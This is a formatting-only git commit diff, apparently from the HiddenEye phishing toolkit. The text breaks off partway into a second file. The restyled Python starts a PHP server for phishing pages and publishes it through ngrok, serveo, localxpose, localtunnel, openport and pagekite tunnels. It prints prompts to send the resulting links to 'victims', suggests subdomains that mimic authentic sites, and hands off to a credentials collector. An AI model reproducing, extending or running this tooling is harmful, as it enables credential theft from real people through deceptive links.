Restyled by black

This commit is contained in:
Restyled.io 2020-08-24 06:47:00 +00:00
parent c4cb6a9ef6
commit be4ca112d8
3 changed files with 501 additions and 266 deletions

View File

@ -6,8 +6,24 @@
#
from Defs.ImportManager.unsorted_will_be_replaced import run_command, run_background_command, wait, ngrok, check_process, kill, signal, requests, \
regular_expression, check_output, CalledProcessError, chdir, chmod, DEVNULL, PIPE, path
from Defs.ImportManager.unsorted_will_be_replaced import (
run_command,
run_background_command,
wait,
ngrok,
check_process,
kill,
signal,
requests,
regular_expression,
check_output,
CalledProcessError,
chdir,
chmod,
DEVNULL,
PIPE,
path,
)
import Defs.ThemeManager.theme as theme
import Defs.LocalizationManager.lang_action_manager.lang_server.lang_server_runner as localization
import Defs.LocalizationManager.lang_global_usage as global_localization
@ -25,7 +41,7 @@ default_palette = theme.default_palette
def server_selection(port): # Question where user must select server
run_command('clear')
run_command("clear")
# print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
@ -42,41 +58,45 @@ def server_selection(port): # Question where user must select server
print_sorted_as_menu(localization.lang_server_selection["servers_list"])
choice = input(global_localization.input_line)
choice = choice.zfill(2)
if choice == '00':
run_command('clear')
if choice == "00":
run_command("clear")
start_localhost(port) # FIXED
elif choice == '01':
run_command('clear')
elif choice == "01":
run_command("clear")
start_ngrok(port) # FIXED
elif choice == '02':
run_command('clear')
elif choice == "02":
run_command("clear")
start_serveo(port) # ALMOST FIXED
elif choice == '03':
run_command('clear')
elif choice == "03":
run_command("clear")
start_localxpose(port) # DOESN'T GET ENTERED CREDENTIALS BACK
elif choice == '04':
run_command('clear')
elif choice == "04":
run_command("clear")
start_localtunnel(port, True)
elif choice == '05':
run_command('clear')
elif choice == "05":
run_command("clear")
start_openport(port)
elif choice == '06':
run_command('clear')
elif choice == "06":
run_command("clear")
start_pagekite(port)
else:
run_command('clear')
run_command("clear")
return server_selection(port)
def set_php(host='127.0.0.1', port=80):
run_command(['killall', '-2', 'php'], stdout=DEVNULL, stderr=DEVNULL)
run_background_command(["php", "-S", "{0}:{1}".format(host, port), "-t", "Server/www"], stdout=DEVNULL,
stderr=DEVNULL)
def set_php(host="127.0.0.1", port=80):
run_command(["killall", "-2", "php"], stdout=DEVNULL, stderr=DEVNULL)
run_background_command(
["php", "-S", "{0}:{1}".format(host, port), "-t", "Server/www"],
stdout=DEVNULL,
stderr=DEVNULL,
)
def set_port(port=80):
run_background_command(
["fuser", "-k", "{0}/tcp".format(port)], stdout=DEVNULL, stderr=DEVNULL)
["fuser", "-k", "{0}/tcp".format(port)], stdout=DEVNULL, stderr=DEVNULL
)
def start_server(port=80):
@ -91,7 +111,7 @@ def start_server(port=80):
def start_localhost(port):
run_command('clear')
run_command("clear")
# print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
@ -112,10 +132,12 @@ def start_localhost(port):
# && php -S {0}:{1} > /dev/null 2>&1 &".format(host, port))
enter_server_www
set_php(host, port)
print(localization.lang_start_localhost[
"starting_server_on_addr"] + "{0}:{1}".format(host, port))
print(
localization.lang_start_localhost["starting_server_on_addr"]
+ "{0}:{1}".format(host, port)
)
# wait(2)
run_command('clear')
run_command("clear")
# print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
@ -132,8 +154,10 @@ def start_localhost(port):
# print("-
# ".format(default_palette[0], default_palette[2], default_palette[3], port, host))
print(localization.lang_start_localhost["send_this_url_suggestion"])
print(localization.lang_start_localhost[
"localhost_url"] + '{0}:{1}\n'.format(host, port))
print(
localization.lang_start_localhost["localhost_url"]
+ "{0}:{1}\n".format(host, port)
)
def start_ngrok(port):
@ -144,7 +168,7 @@ def start_ngrok(port):
for p in pid:
kill(p, signal.SIGKILL)
# continue
run_command('clear')
run_command("clear")
# print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
@ -179,10 +203,10 @@ def start_ngrok(port):
# default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
# print("\n")
print(localization.lang_start_ngrok["send_this_url_suggestion"])
print(localization.lang_start_localhost[
"localhost_url"] + '127.0.0.1:' + port)
print(localization.lang_start_ngrok[
"ngrok_url"] + url + default_palette[4])
print(
localization.lang_start_localhost["localhost_url"] + "127.0.0.1:" + port
)
print(localization.lang_start_ngrok["ngrok_url"] + url + default_palette[4])
break
@ -194,7 +218,7 @@ def start_serveo(port):
return True
def random(port):
run_command('clear')
run_command("clear")
# print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
@ -212,12 +236,27 @@ def start_serveo(port):
# run_command('ssh -o StrictHostKeyChecking=no -o
# ServerAliveInterval=60 -R 80:localhost:%s serveo.net > link.url 2>
# /dev/null &' % (port))
run_command(['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-R',
'localhost:{0}'.format(port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL, stderr=DEVNULL)
run_command(
[
"ssh",
"-o",
"StrictHostKeyChecking=no",
"-o",
"ServerAliveInterval=60",
"-R",
"localhost:{0}".format(port),
"serveo.net",
">",
"link.url",
],
stdout=DEVNULL,
stderr=DEVNULL,
)
wait(8)
try:
output = check_output(
"grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True)
"grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True
)
url = output.decode("utf-8")
# print("-\n
# \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
@ -225,14 +264,16 @@ def start_serveo(port):
# ".format(default_palette[0], default_palette[4], default_palette[3], port) + url + "{0}".format(default_palette[4]))
# print("\n")
print(localization.lang_start_serveo["send_this_url_suggestion"])
print(localization.lang_start_localhost[
"localhost_url"] + '127.0.0.1:' + port)
print(localization.lang_start_serveo[
"serveo_url"] + url + default_palette[4])
print(
localization.lang_start_localhost["localhost_url"] + "127.0.0.1:" + port
)
print(
localization.lang_start_serveo["serveo_url"] + url + default_palette[4]
)
except CalledProcessError:
wait(4)
run_command('clear')
run_command("clear")
return random(port)
def custom(port):
@ -252,8 +293,7 @@ def start_serveo(port):
print(global_localization.by_darksec)
print(global_localization.line_of_dots)
print(localization.lang_start_serveo["serveo_custom_server"])
print(localization.lang_start_serveo[
"make_url_simmilar_to_real_suggestion"])
print(localization.lang_start_serveo["make_url_simmilar_to_real_suggestion"])
print(localization.lang_start_serveo["insert_custom_subdomain"])
lnk = input(global_localization.input_line)
@ -266,15 +306,30 @@ def start_serveo(port):
# %s:80:localhost:%s serveo.net > link.url 2> /dev/null &' % (lnk,
# port))
run_command(
['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-o', 'ServerAliveCountMax=60',
'-R', '{0}:80:localhost:{1}'.format(lnk, port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL,
stderr=DEVNULL)
[
"ssh",
"-o",
"StrictHostKeyChecking=no",
"-o",
"ServerAliveInterval=60",
"-o",
"ServerAliveCountMax=60",
"-R",
"{0}:80:localhost:{1}".format(lnk, port),
"serveo.net",
">",
"link.url",
],
stdout=DEVNULL,
stderr=DEVNULL,
)
wait(7)
try:
output = check_output(
"grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True)
"grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True
)
url = output.decode("utf-8")
run_command('clear')
run_command("clear")
# print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
@ -292,10 +347,12 @@ def start_serveo(port):
# \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
# \n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
print(localization.lang_start_serveo["send_this_url_suggestion"])
print(localization.lang_start_localhost[
"localhost_url"] + '127.0.0.1:' + port)
print(localization.lang_start_serveo[
"serveo_url"] + url + default_palette[4])
print(
localization.lang_start_localhost["localhost_url"] + "127.0.0.1:" + port
)
print(
localization.lang_start_serveo["serveo_url"] + url + default_palette[4]
)
print("\n")
@ -305,10 +362,9 @@ def start_serveo(port):
# !! \n''')
print(localization.lang_start_serveo["failed_to_get_domain"])
print(localization.lang_start_serveo["suggestion_to_fix_issue"])
print(
localization.lang_start_serveo["you_can_try_to_select_other_domain"])
print(localization.lang_start_serveo["you_can_try_to_select_other_domain"])
wait(4)
run_command('clear')
run_command("clear")
return custom(port)
if is_online:
@ -333,21 +389,21 @@ def start_serveo(port):
# print(" \n".format(default_palette[0], default_palette[2]))
print_sorted_as_menu(localization.lang_start_serveo["url_types"])
choice = input(global_localization.input_line)
run_command('clear')
if choice == '1':
run_command("clear")
if choice == "1":
custom(port)
elif choice == '2':
elif choice == "2":
random(port)
else:
run_command('clear')
run_command("clear")
return start_serveo(port)
else:
# print("Serveo is DOWN now, do you want to select another option? Y/n")
print(localization.lang_start_serveo["serveo_is_down"])
choice = input("HiddenEye >> ")
choice = choice.lower()
if choice == 'y':
if choice == "y":
return server_selection(port)
else:
return start_serveo(port)
@ -355,206 +411,318 @@ def start_serveo(port):
def start_localxpose(port):
def random(port):
run_command('clear')
print('''
run_command("clear")
print(
"""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ RANDOM LOCALXPOSE URL ]{1}!! {0}\n-------------------------------'''.format(
default_palette[1], default_palette[2]))
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ RANDOM LOCALXPOSE URL ]{1}!! {0}\n-------------------------------""".format(
default_palette[1], default_palette[2]
)
)
# run_command('./Server/loclx tunnel http --to :%s > link.url 2> /dev/null &' % (port))
run_command(['Server/loclx', 'tunnel', 'http', '--to', ':{0}'.format(port), '>', 'link.url'], stdout=DEVNULL,
stderr=DEVNULL)
run_command(
[
"Server/loclx",
"tunnel",
"http",
"--to",
":{0}".format(port),
">",
"link.url",
],
stdout=DEVNULL,
stderr=DEVNULL,
)
wait(8)
try:
output = check_output(
"grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)
url = output.decode('utf-8')
"grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True
)
url = output.decode("utf-8")
print(
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO VICTIMS-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}{4}{1}".format(
default_palette[0], default_palette[4], default_palette[3], port, url) + "{0}".format(
default_palette[4]))
default_palette[0],
default_palette[4],
default_palette[3],
port,
url,
)
+ "{0}".format(default_palette[4])
)
print("\n")
except CalledProcessError:
wait(4)
run_command('clear')
run_command("clear")
return random(port)
def custom(port):
print('''
print(
"""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)'''.format(
default_palette[0], default_palette[2]))
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(
default_palette[0], default_palette[2]))
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)""".format(
default_palette[0], default_palette[2]
)
)
lnk = input(
"\n{0}CUSTOM Subdomain>>> {1}".format(
default_palette[0], default_palette[2]
)
)
run_command(
'./Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &' % (port, lnk))
"./Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &"
% (port, lnk)
)
wait(7)
try:
output = check_output(
"grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)
"grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True
)
url = output.decode("utf-8")
run_command('clear')
print('''
run_command("clear")
print(
"""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------'''.format(
default_palette[0], default_palette[2]))
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------""".format(
default_palette[0], default_palette[2]
)
)
print(
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}".format(
default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(
default_palette[4]))
default_palette[0], default_palette[2], default_palette[3], port
)
+ url
+ "{0}".format(default_palette[4])
)
print("\n")
except CalledProcessError:
print(
'''\n\n{0}FAILED TO GET THIS DOMAIN. !!!\n\n{0}LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!!\n\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK).. !! \n'''.format(
default_palette[0], default_palette[4]))
"""\n\n{0}FAILED TO GET THIS DOMAIN. !!!\n\n{0}LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!!\n\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK).. !! \n""".format(
default_palette[0], default_palette[4]
)
)
wait(4)
run_command('clear')
run_command("clear")
return custom(port)
print('''
print(
"""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALXPOSE URL TYPE SELECTION ]{1}!! {0}\n-------------------------------\n'''.format(
default_palette[0], default_palette[2]))
print("\n{0}[{1}*{0}]{0}CHOOSE ANY LOCALXPOSE URL TYPE TO GENERATE PHISHING LINK:{1}".format(default_palette[0],
default_palette[2]))
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALXPOSE URL TYPE SELECTION ]{1}!! {0}\n-------------------------------\n""".format(
default_palette[0], default_palette[2]
)
)
print(
"\n{0}[{1}*{0}]{0}CHOOSE ANY LOCALXPOSE URL TYPE TO GENERATE PHISHING LINK:{1}".format(
default_palette[0], default_palette[2]
)
)
print(
"\n{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url) \n{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)".format(
default_palette[0], default_palette[2]))
choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(
default_palette[0], default_palette[2]))
run_command('clear')
if choice == '1':
default_palette[0], default_palette[2]
)
)
choice = input(
"\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0], default_palette[2])
)
run_command("clear")
if choice == "1":
custom(port)
elif choice == '2':
elif choice == "2":
random(port)
else:
run_command('clear')
run_command("clear")
return start_localxpose(port)
def start_localtunnel(port, npm):
run_command('clear')
print('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------'''.format(
default_palette[0], default_palette[2]))
run_command("clear")
print(
"\n{0}[{1}*{0}]{0}SELECT ANY URL TYPE TO GENERATE PHISHING LINK:{1}".format(default_palette[0],
default_palette[2]))
print("\n{0}[{1}+{0}]{1}Type Subdomain for Custom URL. \n{0}[{1}+{0}]{1}Leave Empty For Random URL".format(
default_palette[0], default_palette[2]))
s = input(
'\n{0}(Localtunnel/Subdomain)> {1}'.format(default_palette[0], default_palette[2]))
try:
run_command('{0}lt -p '.format('' if npm else 'Server/') +
port + ((' -s ' + s) if s != '' else s) + ' > link.url &')
wait(3)
run_command('clear')
print('''
"""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------'''.format(
default_palette[0], default_palette[2]))
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------""".format(
default_palette[0], default_palette[2]
)
)
print(
"\n{0}[{1}*{0}]{0}SELECT ANY URL TYPE TO GENERATE PHISHING LINK:{1}".format(
default_palette[0], default_palette[2]
)
)
print(
"\n{0}[{1}+{0}]{1}Type Subdomain for Custom URL. \n{0}[{1}+{0}]{1}Leave Empty For Random URL".format(
default_palette[0], default_palette[2]
)
)
s = input(
"\n{0}(Localtunnel/Subdomain)> {1}".format(
default_palette[0], default_palette[2]
)
)
try:
run_command(
"{0}lt -p ".format("" if npm else "Server/")
+ port
+ ((" -s " + s) if s != "" else s)
+ " > link.url &"
)
wait(3)
run_command("clear")
print(
"""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------""".format(
default_palette[0], default_palette[2]
)
)
print(
"\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALTUNNEL URL: {2}{4}".format(
default_palette[0], default_palette[2], default_palette[3], port,
str(check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)).strip("b ' \ n r")))
default_palette[0],
default_palette[2],
default_palette[3],
port,
str(
check_output(
"grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True
)
).strip("b ' \ n r"),
)
)
except CalledProcessError:
run_command('clear')
print('''
run_command("clear")
print(
"""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------'''.format(
default_palette[0], default_palette[2]))
print('{0}error[invalid/preoccupied]{0}'.format(default_palette[0]))
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------""".format(
default_palette[0], default_palette[2]
)
)
print("{0}error[invalid/preoccupied]{0}".format(default_palette[0]))
start_localtunnel(port, npm)
def start_openport(port):
run_command('clear')
run_command("clear")
def manage_url(port):
run_command('rm output.txt > /dev/null 2>&1')
run_command('openport -K && openport %s > output.txt &' % (port))
print('{0}[{1}*{0}] {1}Openport Server Running in Background.. Please wait.'.format(default_palette[0],
default_palette[4]))
run_command("rm output.txt > /dev/null 2>&1")
run_command("openport -K && openport %s > output.txt &" % (port))
print(
"{0}[{1}*{0}] {1}Openport Server Running in Background.. Please wait.".format(
default_palette[0], default_palette[4]
)
)
# Sleep time is important as the openport command takes some time to give response link.
wait(20)
run_command(
'cat output.txt | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep -v https://openport.io/user > openport.txt') # Taking out the neccesary verification link from output txt file of openport (above).
print('{0}[{1}*{0}] {1}Working To Get OpenPort Tunnel Activation Link...'.format(default_palette[0],
default_palette[4]))
with open('openport.txt') as f:
'cat output.txt | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep -v https://openport.io/user > openport.txt'
) # Taking out the neccesary verification link from output txt file of openport (above).
print(
"{0}[{1}*{0}] {1}Working To Get OpenPort Tunnel Activation Link...".format(
default_palette[0], default_palette[4]
)
)
with open("openport.txt") as f:
read_data = f.read()
if 'openport.io/l/' in read_data:
if "openport.io/l/" in read_data:
print(
'{0}[{1}*{0}] {1}Got Activation Link...'.format(default_palette[0], default_palette[4]))
"{0}[{1}*{0}] {1}Got Activation Link...".format(
default_palette[0], default_palette[4]
)
)
else:
print('{0}[{1}^{0}] {1}Failed To Get Openport Activation Link... '.format(default_palette[0],
default_palette[4]))
output = open('output.txt', 'r')
print(
"{0}[{1}^{0}] {1}Failed To Get Openport Activation Link... ".format(
default_palette[0], default_palette[4]
)
)
output = open("output.txt", "r")
output = output.read()
print('{0}[{1}!{0}] {1}Openport Error:\n\n{2}'.format(
default_palette[0], default_palette[4], output))
input('\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)'.format(default_palette[0],
default_palette[4]))
print(
"{0}[{1}!{0}] {1}Openport Error:\n\n{2}".format(
default_palette[0], default_palette[4], output
)
)
input(
"\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)".format(
default_palette[0], default_palette[4]
)
)
server_selection(port)
urlFile = open('openport.txt', 'r')
urlFile = open("openport.txt", "r")
urltoverify = urlFile.read().strip()
print(
'{0}[{1}*{0}] {1}Open This Activation Link From Browser to Get Tunnel Link...\n'.format(default_palette[0],
default_palette[4]))
print('{0}[{1}*{0}] {1}Tunnel Activation Link:{0}{2} '.format(default_palette[0], default_palette[4],
urltoverify))
url = input('\n\n{0}[{1}*{0}] {1}Enter The Tunnel Link Found in Browser: {0} '.format(default_palette[0],
default_palette[4]))
"{0}[{1}*{0}] {1}Open This Activation Link From Browser to Get Tunnel Link...\n".format(
default_palette[0], default_palette[4]
)
)
print(
"{0}[{1}*{0}] {1}Tunnel Activation Link:{0}{2} ".format(
default_palette[0], default_palette[4], urltoverify
)
)
url = input(
"\n\n{0}[{1}*{0}] {1}Enter The Tunnel Link Found in Browser: {0} ".format(
default_palette[0], default_palette[4]
)
)
wait(4)
run_command('clear')
print('''
run_command("clear")
print(
"""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------'''.format(
default_palette[0], default_palette[4]))
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------""".format(
default_palette[0], default_palette[4]
)
)
print(
"\n{0}[{1}!{0}]{1} SEND THIS OPENPORT URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} OPENPORT URL: {2}{4}\n".format(
default_palette[0], default_palette[4], default_palette[3], port, url))
default_palette[0], default_palette[4], default_palette[3], port, url
)
)
print('''{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
print(
"""{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------'''.format(
default_palette[0], default_palette[2]))
if 256 == run_command('which openport > /dev/null'):
run_command('clear')
print('[*] Openport not Installed correctly, Try installing it manually !!')
print('[*] Check Here ... https://openport.io/download')
input('\n Press Enter To Go back..')
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------""".format(
default_palette[0], default_palette[2]
)
)
if 256 == run_command("which openport > /dev/null"):
run_command("clear")
print("[*] Openport not Installed correctly, Try installing it manually !!")
print("[*] Check Here ... https://openport.io/download")
input("\n Press Enter To Go back..")
server_selection(port)
else:
manage_url(port)
@ -562,22 +730,29 @@ def start_openport(port):
def start_pagekite(port):
from Defs.ActionManager.simple_informant import credentials_collector
run_command('clear')
print('''
run_command("clear")
print(
"""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ PAGEKITE SERVER ]{1}!! {0}\n-------------------------------'''.format(
default_palette[0], default_palette[2]))
if 256 == run_command('which python2 > /dev/null'):
print('[*] Python2 not Installed, Pagekite Only Supports Python2!!')
input('\n Press Enter To Try installing Python2 Now..')
run_command('apt install python2')
if 256 == run_command('which python2 > /dev/null'):
run_command('clear')
print("\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}".format(default_palette[0],
default_palette[4]))
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ PAGEKITE SERVER ]{1}!! {0}\n-------------------------------""".format(
default_palette[0], default_palette[2]
)
)
if 256 == run_command("which python2 > /dev/null"):
print("[*] Python2 not Installed, Pagekite Only Supports Python2!!")
input("\n Press Enter To Try installing Python2 Now..")
run_command("apt install python2")
if 256 == run_command("which python2 > /dev/null"):
run_command("clear")
print(
"\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}".format(
default_palette[0], default_palette[4]
)
)
wait(2)
server_selection(port)
else:
@ -586,21 +761,44 @@ def start_pagekite(port):
try:
subdomain = input(
"\n{0}[{1}*{0}] {0}Enter A Custom Subdomain Ex.(yourname):\n{0}Custom Subdomain>>> {1}".format(
default_palette[0], default_palette[2]))
print("\n{0}[{1}*{0}] {1}Use Temporary Email Services(Don't Harm Anyone).{1}".format(default_palette[0],
default_palette[4]))
print("{0}[{1}*{0}] {1}Sometime Email verification Required by Pagekite(Stay Alert){1}".format(
default_palette[0], default_palette[4]))
print("{0}[{1}*{0}] {1}You can also get various subdomain assigned to your subdomain.{1}".format(
default_palette[0], default_palette[4]))
print("{0}[{1}*{0}] {1}Check Control Panel Of pagekite at https://pagekite.net/ .{1}".format(
default_palette[0], default_palette[4]))
print("{0}[{1}*{0}] {1}We are Ready to Launch Pagekite.Press CTRL+C Whenever Need captured Data.{1}".format(
default_palette[0], default_palette[4]))
input("\n{0}[{1}*{0}] {0}Press Enter To Launch The Pagekite...{1}".format(default_palette[0],
default_palette[4]))
default_palette[0], default_palette[2]
)
)
print(
"\n{0}[{1}*{0}] {1}Use Temporary Email Services(Don't Harm Anyone).{1}".format(
default_palette[0], default_palette[4]
)
)
print(
"{0}[{1}*{0}] {1}Sometime Email verification Required by Pagekite(Stay Alert){1}".format(
default_palette[0], default_palette[4]
)
)
print(
"{0}[{1}*{0}] {1}You can also get various subdomain assigned to your subdomain.{1}".format(
default_palette[0], default_palette[4]
)
)
print(
"{0}[{1}*{0}] {1}Check Control Panel Of pagekite at https://pagekite.net/ .{1}".format(
default_palette[0], default_palette[4]
)
)
print(
"{0}[{1}*{0}] {1}We are Ready to Launch Pagekite.Press CTRL+C Whenever Need captured Data.{1}".format(
default_palette[0], default_palette[4]
)
)
input(
"\n{0}[{1}*{0}] {0}Press Enter To Launch The Pagekite...{1}".format(
default_palette[0], default_palette[4]
)
)
run_command(
'python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me'.format(port, subdomain))
"python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me".format(
port, subdomain
)
)
except KeyboardInterrupt:
print('[!] Please Copy the Generated Link For Further Use')
print("[!] Please Copy the Generated Link For Further Use")
credentials_collector(port)

View File

@ -5,7 +5,19 @@
# under certain conditions; you can read LICENSE for details.
#
from Defs.ImportManager.unsorted_will_be_replaced import requests, getuid, platform_os, run_command, try_to_run_command, wait, chmod, stat, pathlib_Path, copyfile, socket
from Defs.ImportManager.unsorted_will_be_replaced import (
requests,
getuid,
platform_os,
run_command,
try_to_run_command,
wait,
chmod,
stat,
pathlib_Path,
copyfile,
socket,
)
import Defs.ThemeManager.theme as theme
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
import Defs.ActionManager.Server.server_runner as server_runner
@ -19,54 +31,52 @@ def license_handler():
eula = pathlib_Path("eula.txt")
if eula.exists():
